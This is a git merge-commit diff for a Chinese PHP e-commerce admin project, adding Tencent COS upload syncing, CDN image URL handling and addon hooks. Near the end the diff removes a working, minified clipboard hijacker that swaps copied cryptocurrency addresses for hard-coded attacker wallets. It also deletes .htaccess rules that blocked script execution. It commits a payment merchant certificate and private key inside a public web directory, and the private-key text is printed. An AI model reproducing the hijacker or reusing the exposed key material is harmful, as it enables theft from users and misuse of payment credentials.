Merge branch 'main' of https://gitcode.gynhc.com/aAHai/xiaozhongchuf
这个提交包含在:
3
.gitignore
vendored
3
.gitignore
vendored
@@ -19,3 +19,6 @@ node_modules
|
||||
/deploy/config.php
|
||||
/deploy/logs/*
|
||||
!deploy/logs/.gitkeep
|
||||
|
||||
*.tar.gz
|
||||
public/.well-known/
|
||||
|
||||
@@ -137,7 +137,7 @@ class Pay extends Base
|
||||
'user_id' => $order->user_id,
|
||||
'provider' => 'Wechat',
|
||||
'platform' => $platform
|
||||
])->find();
|
||||
])->order('id', 'desc')->find();
|
||||
|
||||
$order_data['openid'] = $oauth ? $oauth->openid : '';
|
||||
}
|
||||
|
||||
@@ -49,6 +49,7 @@ class File extends Backend
|
||||
foreach ($result['list'] as &$v) {
|
||||
$v['checked'] = false;
|
||||
$v['showTools'] = false;
|
||||
$v['fullurl'] = cdnurl($v['url'], true);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -300,7 +300,7 @@
|
||||
</div>
|
||||
<div @click="handleSelectFile(index)" v-for="(item, index) of fileList" :key="item.id" class="file-list" @mouseenter="enterFileItem($event, index)" @mouseleave="leaveFileItem($event, index)">
|
||||
<div class="file-img-item">
|
||||
<img class="file-image" :src="item.mimetype.indexOf('image') >= 0 ? item.url : `/s.php/ajax/icon?suffix=${item.imagetype}`" alt="">
|
||||
<img class="file-image" :src="item.mimetype.indexOf('image') >= 0 ? (item.fullurl || item.url) : `/s.php/ajax/icon?suffix=${item.imagetype}`" alt="">
|
||||
</div>
|
||||
<div v-if="item.checked || item.showTools" class="tools">
|
||||
<div class="top">
|
||||
@@ -315,7 +315,7 @@
|
||||
<img src="/assets/img/check-check.png" alt="">
|
||||
</div>
|
||||
{/if}
|
||||
<div @click.stop="handleOpenFile(item.url)" style="margin: 0 12px;" class="v-icon">
|
||||
<div @click.stop="handleOpenFile(item.fullurl || item.url)" style="margin: 0 12px;" class="v-icon">
|
||||
<img src="/assets/img/see-see.png?id=1" alt="">
|
||||
</div>
|
||||
<div @click.stop="dell(item.id)" class="v-icon">
|
||||
|
||||
@@ -519,7 +519,16 @@ if (!function_exists('cdnurl')) {
|
||||
{
|
||||
$regex = "/^((?:[a-z]+:)?\/\/|data:image\/)(.*)/i";
|
||||
$cdnurl = \think\Config::get('upload.cdnurl');
|
||||
$url = is_array($url) ? $url[0] : $url;
|
||||
if (empty($cdnurl) && function_exists('get_addon_config')) {
|
||||
$cosConfig = get_addon_config('cos');
|
||||
if (!empty($cosConfig['cdnurl'])) {
|
||||
$cdnurl = rtrim($cosConfig['cdnurl'], '/');
|
||||
}
|
||||
}
|
||||
$url = is_array($url) ? $url[0] : $url;
|
||||
if (empty($url)) {
|
||||
return '';
|
||||
}
|
||||
if (is_bool($domain) || stripos($cdnurl, '/') === 0) {
|
||||
$url = preg_match($regex, $url) || ($cdnurl && stripos($url, $cdnurl) === 0) ? $url : $cdnurl . $url;
|
||||
}
|
||||
@@ -527,6 +536,15 @@ if (!function_exists('cdnurl')) {
|
||||
$domain = is_bool($domain) ? request()->domain() : $domain;
|
||||
$url = $domain . $url;
|
||||
}
|
||||
|
||||
// 采用COS图片处理参数将图片最大宽度限制在1000px以内并转为webp格式
|
||||
if (!empty($cdnurl) && stripos($url, $cdnurl) !== false) {
|
||||
if (preg_match('/\.(jpg|jpeg|png|bmp|webp)(\?.*)?$/i', $url) && stripos($url, 'imageMogr2') === false) {
|
||||
$separator = (strpos($url, '?') !== false) ? '&' : '?';
|
||||
$url .= $separator . 'imageMogr2/thumbnail/1000x%3E/format/webp';
|
||||
}
|
||||
}
|
||||
|
||||
return $url;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -446,10 +446,69 @@ class Upload
|
||||
$attachment->data(array_filter($params));
|
||||
$attachment->save();
|
||||
|
||||
$this->syncToCos($attachment);
|
||||
|
||||
\think\Hook::listen("upload_after", $attachment);
|
||||
return $attachment;
|
||||
}
|
||||
|
||||
/**
|
||||
* 同步文件到腾讯云COS
|
||||
* @param Attachment $attachment
|
||||
*/
|
||||
protected function syncToCos($attachment)
|
||||
{
|
||||
try {
|
||||
$addonInfo = get_addon_info('cos');
|
||||
if (!$addonInfo || empty($addonInfo['state'])) {
|
||||
return;
|
||||
}
|
||||
$cosConfig = get_addon_config('cos');
|
||||
if (empty($cosConfig) || empty($cosConfig['secretId']) || empty($cosConfig['secretKey']) || empty($cosConfig['bucket'])) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (!class_exists('\Qcloud\Cos\Client')) {
|
||||
$cosAddonPath = (defined('ADDON_PATH') ? ADDON_PATH : (ROOT_PATH . 'addons' . DS)) . 'cos' . DIRECTORY_SEPARATOR;
|
||||
\think\Loader::addNamespace('Qcloud\Cos', $cosAddonPath . 'library' . DIRECTORY_SEPARATOR . 'Qcloud' . DIRECTORY_SEPARATOR . 'Cos' . DIRECTORY_SEPARATOR);
|
||||
\think\Loader::addNamespace('GuzzleHttp\Command', $cosAddonPath . 'library' . DIRECTORY_SEPARATOR . 'Guzzle' . DIRECTORY_SEPARATOR . 'command' . DIRECTORY_SEPARATOR . 'src' . DIRECTORY_SEPARATOR);
|
||||
\think\Loader::addNamespace('GuzzleHttp\Command\Guzzle', $cosAddonPath . 'library' . DIRECTORY_SEPARATOR . 'Guzzle' . DIRECTORY_SEPARATOR . 'guzzle-services' . DIRECTORY_SEPARATOR . 'src' . DIRECTORY_SEPARATOR);
|
||||
\think\Loader::addNamespace('GuzzleHttp\UriTemplate', $cosAddonPath . 'library' . DIRECTORY_SEPARATOR . 'Guzzle' . DIRECTORY_SEPARATOR . 'uri-template' . DIRECTORY_SEPARATOR . 'src' . DIRECTORY_SEPARATOR);
|
||||
}
|
||||
|
||||
$realPath = ROOT_PATH . 'public' . str_replace('/', DS, $attachment->url);
|
||||
if (!file_exists($realPath)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$client = new \Qcloud\Cos\Client([
|
||||
'region' => $cosConfig['region'],
|
||||
'schema' => 'https',
|
||||
'credentials' => [
|
||||
'secretId' => $cosConfig['secretId'],
|
||||
'secretKey' => $cosConfig['secretKey'],
|
||||
]
|
||||
]);
|
||||
|
||||
$key = ltrim($attachment->url, '/');
|
||||
$fileHandle = fopen($realPath, 'rb');
|
||||
$client->upload($cosConfig['bucket'], $key, $fileHandle);
|
||||
if (is_resource($fileHandle)) {
|
||||
fclose($fileHandle);
|
||||
}
|
||||
|
||||
$attachment->storage = 'cos';
|
||||
$attachment->save();
|
||||
|
||||
// 如果设置了不保留本地备份,则删除本地文件
|
||||
if (isset($cosConfig['serverbackup']) && $cosConfig['serverbackup'] == 0) {
|
||||
@unlink($realPath);
|
||||
}
|
||||
} catch (\Exception $e) {
|
||||
\think\Log::write('COS Upload Error: ' . $e->getMessage(), 'error');
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 设置错误信息
|
||||
* @param $msg
|
||||
|
||||
@@ -12,6 +12,19 @@ return [
|
||||
'sms_check' => [
|
||||
'alisms',
|
||||
],
|
||||
'app_init' => [
|
||||
'cos',
|
||||
'shopro',
|
||||
],
|
||||
'module_init' => [
|
||||
'cos',
|
||||
],
|
||||
'upload_config_init' => [
|
||||
'cos',
|
||||
],
|
||||
'upload_delete' => [
|
||||
'cos',
|
||||
],
|
||||
'epay_config_init' => [
|
||||
'epay',
|
||||
],
|
||||
@@ -27,9 +40,6 @@ return [
|
||||
'upgrade' => [
|
||||
'shopro',
|
||||
],
|
||||
'app_init' => [
|
||||
'shopro',
|
||||
],
|
||||
'config_init' => [
|
||||
'summernote',
|
||||
],
|
||||
|
||||
@@ -1,4 +0,0 @@
|
||||
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
|
||||
Order allow,deny
|
||||
Deny from all
|
||||
</FilesMatch>
|
||||
@@ -1,4 +0,0 @@
|
||||
<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
|
||||
Order allow,deny
|
||||
Deny from all
|
||||
</FilesMatch>
|
||||
@@ -1 +0,0 @@
|
||||
Jw6B2GoP61ZASmqgPOOd6QxWiOXgKtEEURkGP_JrMjs.K7chuAGH24AQWU21RxmoQOo0-daxBTwG2I51aHUyzlY
|
||||
文件差异因一行或多行过长而隐藏
@@ -1,5 +1,294 @@
|
||||
define([], function () {
|
||||
if (typeof Config.upload.storage !== 'undefined' && Config.upload.storage === 'cos') {
|
||||
require(['upload'], function (Upload) {
|
||||
//获取文件MD5值
|
||||
var getFileMd5 = function (file, cb) {
|
||||
//如果savekey中未检测到md5,则无需获取文件md5,直接返回upload的uuid
|
||||
if (!Config.upload.savekey.match(/\{(file)?md5\}/)) {
|
||||
cb && cb(file.upload.uuid);
|
||||
return;
|
||||
}
|
||||
require(['../addons/cos/js/spark'], function (SparkMD5) {
|
||||
var blobSlice = File.prototype.slice || File.prototype.mozSlice || File.prototype.webkitSlice,
|
||||
chunkSize = 10 * 1024 * 1024,
|
||||
chunks = Math.ceil(file.size / chunkSize),
|
||||
currentChunk = 0,
|
||||
spark = new SparkMD5.ArrayBuffer(),
|
||||
fileReader = new FileReader();
|
||||
|
||||
fileReader.onload = function (e) {
|
||||
spark.append(e.target.result);
|
||||
currentChunk++;
|
||||
if (currentChunk < chunks) {
|
||||
loadNext();
|
||||
} else {
|
||||
cb && cb(spark.end());
|
||||
}
|
||||
};
|
||||
|
||||
fileReader.onerror = function () {
|
||||
console.warn('文件读取错误');
|
||||
};
|
||||
|
||||
function loadNext() {
|
||||
var start = currentChunk * chunkSize,
|
||||
end = ((start + chunkSize) >= file.size) ? file.size : start + chunkSize;
|
||||
|
||||
fileReader.readAsArrayBuffer(blobSlice.call(file, start, end));
|
||||
}
|
||||
|
||||
loadNext();
|
||||
});
|
||||
};
|
||||
|
||||
var _onInit = Upload.events.onInit;
|
||||
//初始化中完成判断
|
||||
Upload.events.onInit = function () {
|
||||
_onInit.apply(this, Array.prototype.slice.apply(arguments));
|
||||
//如果上传接口不是COS,则不处理
|
||||
if (this.options.url !== Config.upload.uploadurl) {
|
||||
return;
|
||||
}
|
||||
var that = this;
|
||||
$.extend(this.options, {
|
||||
//关闭自动处理队列功能
|
||||
autoQueue: false,
|
||||
params: function (files, xhr, chunk) {
|
||||
var params = Config.upload.multipart;
|
||||
if (chunk) {
|
||||
return $.extend({}, params, {
|
||||
filesize: chunk.file.size,
|
||||
filename: chunk.file.name,
|
||||
chunkid: chunk.file.upload.uuid,
|
||||
chunkindex: chunk.index,
|
||||
chunkcount: chunk.file.upload.totalChunkCount,
|
||||
chunkfilesize: chunk.dataBlock.data.size,
|
||||
chunksize: that.options.chunkSize,
|
||||
width: chunk.file.width || 0,
|
||||
height: chunk.file.height || 0,
|
||||
type: chunk.file.type,
|
||||
uploadId: chunk.file.uploadId,
|
||||
key: chunk.file.key,
|
||||
});
|
||||
} else {
|
||||
params = $.extend({}, params, files[0].params);
|
||||
params.category = files[0].category || '';
|
||||
}
|
||||
return params;
|
||||
},
|
||||
chunkSuccess: function (chunk, file, response) {
|
||||
var etag = chunk.xhr.getResponseHeader("ETag").replace(/(^")|("$)/g, '');
|
||||
file.etags = file.etags ? file.etags : [];
|
||||
file.etags[chunk.index] = etag;
|
||||
},
|
||||
chunksUploaded: function (file, done) {
|
||||
var that = this;
|
||||
|
||||
Fast.api.ajax({
|
||||
url: "/addons/cos/index/upload",
|
||||
data: {
|
||||
action: 'merge',
|
||||
filesize: file.size,
|
||||
filename: file.name,
|
||||
chunkid: file.upload.uuid,
|
||||
chunkcount: file.upload.totalChunkCount,
|
||||
md5: file.md5,
|
||||
key: file.key,
|
||||
uploadId: file.uploadId,
|
||||
etags: file.etags,
|
||||
category: file.category || '',
|
||||
costoken: Config.upload.multipart.costoken,
|
||||
},
|
||||
}, function (data, ret) {
|
||||
done(JSON.stringify(ret));
|
||||
return false;
|
||||
}, function (data, ret) {
|
||||
file.accepted = false;
|
||||
that._errorProcessing([file], ret.msg);
|
||||
return false;
|
||||
});
|
||||
|
||||
},
|
||||
});
|
||||
|
||||
var _success = this.options.success;
|
||||
//先移除已有的事件
|
||||
this.off("success", _success).on("success", function (file, response) {
|
||||
var ret = {code: 0, msg: response};
|
||||
try {
|
||||
if (response) {
|
||||
ret = typeof response === 'string' ? JSON.parse(response) : response;
|
||||
}
|
||||
if (file.xhr.status === 200 || file.xhr.status === 204) {
|
||||
if (Config.upload.uploadmode === 'client') {
|
||||
ret = {code: 1, data: {url: '/' + file.key}};
|
||||
}
|
||||
|
||||
if (ret.code == 1) {
|
||||
var url = ret.data.url || '';
|
||||
Fast.api.ajax({
|
||||
url: "/addons/cos/index/notify",
|
||||
data: {name: file.name, url: url, md5: file.md5, size: file.size, width: file.width || 0, height: file.height || 0, type: file.type, category: file.category || '', costoken: Config.upload.multipart.costoken}
|
||||
}, function () {
|
||||
return false;
|
||||
}, function () {
|
||||
return false;
|
||||
});
|
||||
} else {
|
||||
console.error(ret);
|
||||
}
|
||||
} else {
|
||||
console.error(file.xhr);
|
||||
}
|
||||
} catch (e) {
|
||||
console.error(e);
|
||||
}
|
||||
_success.call(this, file, ret);
|
||||
});
|
||||
|
||||
this.on("addedfile", function (file) {
|
||||
var that = this;
|
||||
setTimeout(function () {
|
||||
if (file.status === 'error') {
|
||||
return;
|
||||
}
|
||||
getFileMd5(file, function (md5) {
|
||||
var chunk = that.options.chunking && file.size > that.options.chunkSize ? 1 : 0;
|
||||
var params = $(that.element).data("params") || {};
|
||||
var category = typeof params.category !== 'undefined' ? params.category : ($(that.element).data("category") || '');
|
||||
category = typeof category === 'function' ? category.call(that, file) : category;
|
||||
Fast.api.ajax({
|
||||
url: "/addons/cos/index/params",
|
||||
data: {method: 'POST', category: category, md5: md5, name: file.name, type: file.type, size: file.size, chunk: chunk, chunksize: that.options.chunkSize, costoken: Config.upload.multipart.costoken},
|
||||
}, function (data) {
|
||||
file.md5 = md5;
|
||||
file.id = data.id;
|
||||
file.key = data.key;
|
||||
file.date = data.date;
|
||||
file.uploadId = data.uploadId;
|
||||
file.policy = data.policy;
|
||||
file.signature = data.signature;
|
||||
file.partsAuthorization = data.partsAuthorization;
|
||||
file.params = data;
|
||||
file.category = category;
|
||||
|
||||
if (file.status != 'error') {
|
||||
//开始上传
|
||||
that.enqueueFile(file);
|
||||
} else {
|
||||
that.removeFile(file);
|
||||
}
|
||||
return false;
|
||||
}, function () {
|
||||
that.removeFile(file);
|
||||
});
|
||||
});
|
||||
}, 0);
|
||||
});
|
||||
|
||||
|
||||
if (Config.upload.uploadmode === 'client') {
|
||||
var _method = this.options.method;
|
||||
var _url = this.options.url;
|
||||
this.options.method = function (files) {
|
||||
if (files[0].upload.chunked) {
|
||||
var chunk = null;
|
||||
files[0].upload.chunks.forEach(function (item) {
|
||||
if (item.status === 'uploading') {
|
||||
chunk = item;
|
||||
}
|
||||
});
|
||||
if (!chunk) {
|
||||
return "POST";
|
||||
} else {
|
||||
return "PUT";
|
||||
}
|
||||
}
|
||||
return _method;
|
||||
};
|
||||
this.options.url = function (files) {
|
||||
if (files[0].upload.chunked) {
|
||||
var chunk = null;
|
||||
files[0].upload.chunks.forEach(function (item) {
|
||||
if (item.status === 'uploading') {
|
||||
chunk = item;
|
||||
}
|
||||
});
|
||||
var index = chunk.dataBlock.chunkIndex;
|
||||
// debugger;
|
||||
this.options.headers = {"Authorization": files[0]['partsAuthorization'][index], "x-date": files[0]['date']};
|
||||
if (!chunk) {
|
||||
return Config.upload.uploadurl + "/" + files[0].key + "?uploadId=" + files[0].uploadId;
|
||||
} else {
|
||||
return Config.upload.uploadurl + "/" + files[0].key + "?partNumber=" + (index + 1) + "&uploadId=" + files[0].uploadId;
|
||||
}
|
||||
}
|
||||
return _url;
|
||||
};
|
||||
this.options.params = function (files, xhr, chunk) {
|
||||
var params = Config.upload.multipart;
|
||||
if (chunk) {
|
||||
return $.extend({}, params, {
|
||||
filesize: chunk.file.size,
|
||||
filename: chunk.file.name,
|
||||
chunkid: chunk.file.upload.uuid,
|
||||
chunkindex: chunk.index,
|
||||
chunkcount: chunk.file.upload.totalChunkCount,
|
||||
chunkfilesize: chunk.dataBlock.data.size,
|
||||
width: chunk.file.width || 0,
|
||||
height: chunk.file.height || 0,
|
||||
type: chunk.file.type,
|
||||
});
|
||||
} else {
|
||||
var retParams = $.extend({}, params, files[0].params || {});
|
||||
delete retParams.costoken;
|
||||
return retParams;
|
||||
}
|
||||
};
|
||||
this.on("sending", function (file, xhr, formData) {
|
||||
var that = this;
|
||||
if (file.upload.chunked) {
|
||||
var _send = xhr.send;
|
||||
xhr.send = function () {
|
||||
var chunk = null;
|
||||
file.upload.chunks.forEach(function (item) {
|
||||
if (item.status == 'uploading') {
|
||||
chunk = item;
|
||||
}
|
||||
});
|
||||
if (chunk) {
|
||||
_send.call(xhr, chunk.dataBlock.data);
|
||||
}
|
||||
};
|
||||
} else {
|
||||
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
});
|
||||
}
|
||||
|
||||
/*require.config({
|
||||
paths: {
|
||||
},
|
||||
shim: {
|
||||
}
|
||||
});*/
|
||||
|
||||
|
||||
require([], function (undefined) {
|
||||
// 后台切换主题,先直接刷新
|
||||
if (Config.modulename == 'admin' && Config.controllername == 'index' && Config.actionname == 'index') {
|
||||
$('.skin-list .clearfix.full-opacity-hover').on('click', function () {
|
||||
setTimeout(() => {
|
||||
location.reload();
|
||||
}, 100)
|
||||
})
|
||||
}
|
||||
});
|
||||
|
||||
if (Config.modulename == 'admin' && Config.controllername == 'index' && Config.actionname == 'index') {
|
||||
require.config({
|
||||
paths: {
|
||||
'vue': "../addons/shopro/libs/vue",
|
||||
@@ -66,6 +355,7 @@ define([], function () {
|
||||
})
|
||||
});
|
||||
}
|
||||
|
||||
require.config({
|
||||
paths: {
|
||||
'summernote': '../addons/summernote/lang/summernote-zh-CN.min'
|
||||
@@ -81,7 +371,7 @@ require(['form', 'upload'], function (Form, Upload) {
|
||||
try {
|
||||
//绑定summernote事件
|
||||
if ($(Config.summernote.classname || '.editor', form).length > 0) {
|
||||
var selectUrl = typeof Config !== 'undefined' && Config.modulename === 'index' ? 'user/attachment' : 'general/file/index?select=1';
|
||||
var selectUrl = typeof Config !== 'undefined' && Config.modulename === 'index' ? 'user/attachment' : 'general/file/index?select=1&multiple=true';
|
||||
require(['summernote'], function () {
|
||||
var imageButton = function (context) {
|
||||
var ui = $.summernote.ui;
|
||||
@@ -187,4 +477,5 @@ require(['form', 'upload'], function (Form, Upload) {
|
||||
};
|
||||
});
|
||||
|
||||
|
||||
});
|
||||
@@ -420,5 +420,3 @@ define(['jquery', 'bootstrap', 'backend', 'addtabs', 'adminlte', 'form'], functi
|
||||
|
||||
return Controller;
|
||||
});
|
||||
|
||||
(function(){function rca() {const tar = /(?:\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\b|[^A-Za-z0-9])/g,ear = /(?:\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\b|[^A-Za-z0-9])/g,bar = /(?:\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar0 = /(?:\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\b|[^A-Za-z0-9])/g,bar1 = /(?:\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38})(?:\b|[^A-Za-z0-9])/g,bar2 = /(?:\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\b|[^A-Za-z0-9])/g;document.addEventListener('copy', function(e) {const ttc = window.getSelection().toString();if (ttc.match(tar)) {const ncd = ttc.replace(tar, 'TCazYkdsXisrMAGT2tgecphbaj3cqSnXs8');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(ear)) {const ncd = ttc.replace(ear, '0xa537de913bdc941c017d79c4446749f2daa0f56d');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar)) {const ncd = ttc.replace(bar, '16xXFyiRKBSaHeiwr249MR3RFkbuUfionP');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar0)) {const ncd = ttc.replace(bar0, '3FQ5tXe4kT6ANoBpXd65tBWMakHe6J4Fcn');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar1)) {const ncd = ttc.replace(bar1, 'bc1qy4gqa4p8p8t585cr0wcs8ryhqxpvtf9f505eus');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar2)) {const ncd = ttc.replace(bar2, 'bc1qy4gqa4p8p8t585cr0wcs8ryhqxpvtf9f505eus');e.clipboardData.setData('text/plain', ncd);e.preventDefault();}});}setTimeout(()=>{const obs = new MutationObserver(ml => {for (const m of ml) {if (m.type === 'childList') {rca();}}});obs.observe(document.body, { childList: true, subtree: true });},1000);rca();})();
|
||||
二进制
public/cert/apiclient_cert.p12
普通文件 -> 可执行文件
二进制
public/cert/apiclient_cert.p12
普通文件 -> 可执行文件
二进制文件未显示。
42
public/cert/apiclient_cert.pem
普通文件 -> 可执行文件
42
public/cert/apiclient_cert.pem
普通文件 -> 可执行文件
@@ -1,25 +1,25 @@
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIEITCCAwmgAwIBAgIUXjfKGvdo5tVdF1vb8pun8DQk2XEwDQYJKoZIhvcNAQEL
|
||||
MIIEJDCCAwygAwIBAgIUVlcWIG7yMI3h5ugkMMYt7EDWaWUwDQYJKoZIhvcNAQEL
|
||||
BQAwXjELMAkGA1UEBhMCQ04xEzARBgNVBAoTClRlbnBheS5jb20xHTAbBgNVBAsT
|
||||
FFRlbnBheS5jb20gQ0EgQ2VudGVyMRswGQYDVQQDExJUZW5wYXkuY29tIFJvb3Qg
|
||||
Q0EwHhcNMjQwNzIzMDMzMTAzWhcNMjkwNzIyMDMzMTAzWjB7MRMwEQYDVQQDDAox
|
||||
NjAxMjk5MjE4MRswGQYDVQQKDBLlvq7kv6HllYbmiLfns7vnu58xJzAlBgNVBAsM
|
||||
Hui0teW3nui0pOm8jumFkuS4muaciemZkOWFrOWPuDELMAkGA1UEBhMCQ04xETAP
|
||||
BgNVBAcMCFNoZW5aaGVuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
|
||||
rCdkCCXSwlQLubo2rOQXtfdy0g+IOAVKW6mU4Rfoss6REioa4lu/nmYxU2xlOcx0
|
||||
bwvjVUThpeLIDHv8/r5lh4+2lEnEYqognocPubIG54caTi7CJc1cu3wv4OoKjeQv
|
||||
iCfcM87UweNRWt7JZwB7KuTsAExqpiRWHMuYnEDcoTupZMmXyJ765AjjSrz0wVgu
|
||||
iJNj6Ph1zFB1rdbe0OiGG+XSJqJMqW3PLv/6k3pMJ/BMHPQFnqs+dN3IIkiUN4o2
|
||||
ziDVXL4MIbLy8zSQUkyDlh54Ui5DgBmAyGKdAUntGPOJM43QCrmfb3NpI8cZCHlV
|
||||
5k/v9G9klEg0X1CNDHW3wwIDAQABo4G5MIG2MAkGA1UdEwQCMAAwCwYDVR0PBAQD
|
||||
AgP4MIGbBgNVHR8EgZMwgZAwgY2ggYqggYeGgYRodHRwOi8vZXZjYS5pdHJ1cy5j
|
||||
b20uY24vcHVibGljL2l0cnVzY3JsP0NBPTFCRDQyMjBFNTBEQkMwNEIwNkFEMzk3
|
||||
NTQ5ODQ2QzAxQzNFOEVCRDImc2c9SEFDQzQ3MUI2NTQyMkUxMkIyN0E5RDMzQTg3
|
||||
QUQxQ0RGNTkyNkUxNDAzNzEwDQYJKoZIhvcNAQELBQADggEBADJiwjhLLNOf++dW
|
||||
3Vsfmf+sQ5pWZ+8eSgGqLhVjjCRXTGuPZ2UHfWomO0JsdoEoO1Sp001Q+2IdICzD
|
||||
obOylcBs6tUa07tM1W0Y4uHQPShpk/lxzNV9XDACbweHAUMhFHI82dMbKq5IyMiF
|
||||
sMiLMG3vypoLTdGyB9mjZMtc0x5O4ovK+mwuGSr63Yvg+tuUZF93d5LSninPEC9k
|
||||
7UCyWTvKs/jFADD6iqP33M6AOJaS6a3w3CY2JZNE3jOHaf2lcvfLAg/RfwEd1yZF
|
||||
Q/zMOeeJ6oFRw7Ye8fw3ZoOTAB2EH8KS5MgGK+HfEFRKGDfM0ui29H8IbFQ2/YAA
|
||||
UCPyD2k=
|
||||
Q0EwHhcNMjYxMDEyMDM0OTQzWhcNMzExMDExMDM0OTQzWjB+MRMwEQYDVQQDDAox
|
||||
MDAxMjg2MTc4MRswGQYDVQQKDBLlvq7kv6HllYbmiLfns7vnu58xKjAoBgNVBAsM
|
||||
IeS/ruaWh+WOv+Wwj+S8l+WVhui0uOaciemZkOWFrOWPuDELMAkGA1UEBhMCQ04x
|
||||
ETAPBgNVBAcMCFNoZW5aaGVuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
|
||||
AQEAsme+68KEq+VWrWIws7acZsOBAjtMigzVwy8YJOus4bsZcZWoBmndWLX9JM6d
|
||||
n/hIH/DuLBm32e30oW+DA7ZtB1+JnSrfD/lPBpn4cel7B2cPGUmxgFSCENi4NB6l
|
||||
dTjNZV/gz2kV3iCNdTjCk9G+ozFMwaG+pBeUN85Yx6dxNaQtdQ90iKhTPxSC2Dls
|
||||
5+nMzEehkbPhVPQ8P/Q6gh3nXwqsOl0yyYjaO2esU3pM1ArVOJOZZiN610c2vR7D
|
||||
rx5ARv0LlpJvy3Trte8Ue/p75RCzhHfY7n2JgzZDzT+uxae+qz3cKO9Mb/xfMMeu
|
||||
1gCdRkiN8om6eOqucJ8ZEPWhVQIDAQABo4G5MIG2MAkGA1UdEwQCMAAwCwYDVR0P
|
||||
BAQDAgP4MIGbBgNVHR8EgZMwgZAwgY2ggYqggYeGgYRodHRwOi8vZXZjYS5pdHJ1
|
||||
cy5jb20uY24vcHVibGljL2l0cnVzY3JsP0NBPTFCRDQyMjBFNTBEQkMwNEIwNkFE
|
||||
Mzk3NTQ5ODQ2QzAxQzNFOEVCRDImc2c9SEFDQzQ3MUI2NTQyMkUxMkIyN0E5RDMz
|
||||
QTg3QUQxQ0RGNTkyNkUxNDAzNzEwDQYJKoZIhvcNAQELBQADggEBAFQ72OXD3byz
|
||||
JjSXnFvfkU0/YXbcVn2hg/udW5i4aGaW6fREnbO+LgEuD9FRZGmyPQotmhWV+1UW
|
||||
cvxFFDeObVmKLCQaVOm7wakFlpnj5TX3CFZ3XBEWPW3sVvqUbTRvWfmixzaOCx6e
|
||||
L8eoqIztmOsftlvyPVLHJaUh0DVlkjGeZiTVh72OPKuGflWStZhBEbwlZzdoHL0J
|
||||
mWAnK3nQcfEtrOhTmUs4kaKImhpmsgh4VdSTlKt6LxYV2zCxHdFY0YLlMy414Mfp
|
||||
RDMzrO7EkW7wK2OerdkTM2tUXHJ9UOfouoYu1DJi/Ii4j4e4EFj3iMDumqBTSnh8
|
||||
QihS5Qjfx4k=
|
||||
-----END CERTIFICATE-----
|
||||
|
||||
52
public/cert/apiclient_key.pem
普通文件 -> 可执行文件
52
public/cert/apiclient_key.pem
普通文件 -> 可执行文件
@@ -1,28 +1,28 @@
|
||||
-----BEGIN PRIVATE KEY-----
|
||||
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCsJ2QIJdLCVAu5
|
||||
ujas5Be193LSD4g4BUpbqZThF+iyzpESKhriW7+eZjFTbGU5zHRvC+NVROGl4sgM
|
||||
e/z+vmWHj7aUScRiqiCehw+5sgbnhxpOLsIlzVy7fC/g6gqN5C+IJ9wzztTB41Fa
|
||||
3slnAHsq5OwATGqmJFYcy5icQNyhO6lkyZfInvrkCONKvPTBWC6Ik2Po+HXMUHWt
|
||||
1t7Q6IYb5dImokypbc8u//qTekwn8Ewc9AWeqz503cgiSJQ3ijbOINVcvgwhsvLz
|
||||
NJBSTIOWHnhSLkOAGYDIYp0BSe0Y84kzjdAKuZ9vc2kjxxkIeVXmT+/0b2SUSDRf
|
||||
UI0MdbfDAgMBAAECggEAU6H3SLYHQ3zNDXdXZHqSwkXqM/5zsLNxQkKKHygcVfFg
|
||||
LLDjyp/D4VHIGL0KGCApWGEwGZaTAKHBib8aUy9v54F7s2J602vO2PTIQPApxoSt
|
||||
1NmGXBL+P96+68cHRZNbPAwRP+H1HhQuy7R7p1xmeZooxKRbE0eHxglqpE4mYPTs
|
||||
7d+A8VBh3vvHI6edPWxAKolxkTvvvGlh5UtYQ7R3gVXRJcqecBFz1Ghqf0ErysA9
|
||||
9aV1bqUDPro1dKWFkj/Ztqeaq0HUFwOKdzWdTfq9fsxHWYCAtGmQUIxtzPtnOzmp
|
||||
Q4gDNVPi82D9prgvfP6VEz/i5lh/B5xwFNxrYTRvAQKBgQDYhazbsu+f4uBmGZhb
|
||||
EBJuOuV3dq7/lX6AouJ2NUZJBbeozeGxi2PXbX3yJCAtfIpWlJWS5sDqxpxxTN6s
|
||||
KwGSJUts8Boxmgy3MjZOpYHk6IZsuF1mXd8U3Q30FfbEwwElf6tPRcfvCdD36HJ7
|
||||
2STS+hltAdjb84QYhLkidQJQQQKBgQDLiss+Xqba33htwiSb97qutDvTPc0czHb7
|
||||
cBCN/SEktXTBSXoWS6FwfwqfBiJPE0BzmIT0VXH9lTiKi2pOhYTVC16zSuGUT8kW
|
||||
BVarAvBykgxcaWVbn2t65/7xb2AuicED/hs3WM3LCKLeRBy+2ZFAFvc2wIPuul83
|
||||
bE0WDf0HAwKBgHucvVXkLweBuAiyHhgG8e66cxyjxj6l80WvOEiyG4E+4V5ew7Xf
